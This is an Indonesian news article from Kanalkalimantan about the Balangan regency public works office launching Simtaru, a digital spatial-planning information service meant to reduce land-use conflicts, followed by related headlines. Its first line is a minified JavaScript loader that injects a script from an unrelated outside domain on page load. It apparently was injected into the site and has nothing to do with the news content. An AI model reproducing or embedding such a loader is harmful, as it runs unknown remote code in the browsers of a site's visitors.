(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PARINGIN – Upaya meminimalisir konflik tata ruang, Bidang Penataan Ruang Dinas Pekerjaan Umum Penataan Ruang Perumahan Rakyat dan Kawasan Permukiman Kabupaten Balangan, membangun Sistem Informasi Tata Ruang (Simtaru).
Inisiator Simtaru, Rini Mariana, mengatakan, kehadiran Simtaru adalah untuk mencerminkan semangat transparansi informasi publik dan kecepatan pelayanan bidang penataan ruang kepada masyarakat dalam rangka penguatan pengendalian pemanfaatan ruang dan pembinaan penataan ruang melalui pengembangan penyebaran informasi penataan ruang.
“Kondisi saat ini masih banyak masyarakat yang belum mengetahui informasi mengenai peraturan terkait penyelenggaraan penataan ruang yang berlaku di Kabupaten Balangan, sehingga di lapangan terdapat indikasi penggunaan lahan kegiatan masyarakat yang tidak sesuai dengan arahan pemanfaatan ruang,” ujar Rini, Senin (19/5/2025).
Baca juga: Jelang Vonis Jumran, Keluarga Juwita Bentang Spanduk “Harga Mati Hukum Mati”
Karena menurutnya, berdasarkan data dari Direktorat Jenderal Pengendalian dan Penertiban Tanah dan Ruang Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional, pada tahun 2023 di Kabupaten Balangan ditemukan ada indikasi ketidaksesuaian pemanfaatan ruang terhadap rencana pola ruang yang berlaku di kawasan pertanian sebanyak 115 polygon.
Selain itu, potensi terjadinya konflik pemanfaatan ruang, khususnya tumpang tindih penggunaan lahan di masyarakat merupakan masalah yang harus ditanggulangi.
“Hadirnya Simtaru adalah upaya meminimalisir konflik kepentingan tersebut sebagai upaya dari pemerintah daerah untuk menyampaikan informasi tata ruang secara terbuka kepada masyarakat agar berbagai kepentingan tersebut dapat bersinergi dalam ruang yang bersifat terbatas,” ungkapnya.
Karena memasuki era pelayanan publik yang mengedepankan pendekatan era industri digital saat ini, pemerintah daerah dituntut untuk memberikan pelayanan yang cepat, efektif dan transparan kepada masyarakat, salah satunya adalah pelayanan informasi bidang penataan ruang kepada masyarakat.
Baca juga: BEM-KM Faperta ULM Siapkan PKM di Desa Matang Batas Tapin
Simtaru, ujar dia, selain dapat meminimalisir konflik kepentingan dan meningkatkan peran serta masyarakat dalam penyelenggaraan penataan ruang, penyampaian informasi tata ruang yang cepat, efektif dan transparan kepada masyarakat juga dapat mendukung percepatan dan kemudahan berinvestasi di Kabupaten Balangan.
“Karena Simtaru hadir memberikan informasi rencana penataan ruang, baik umum maupun detail, yang berlaku di Kabupaten Balangan secara mudah, transparan, aktual, akurat dan andal.
Dengan tersedianya aplikasi digital informasi tata ruang yang dapat diakses masyarakat secara realtime maka diharapkan menurunkan terjadinya pelanggaran pemanfaatan ruang,” pungkasnya. (Kanalkalimantan.com/mcbalangan)
Reporter: mcbalangan
Editor: kk
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
This website uses cookies.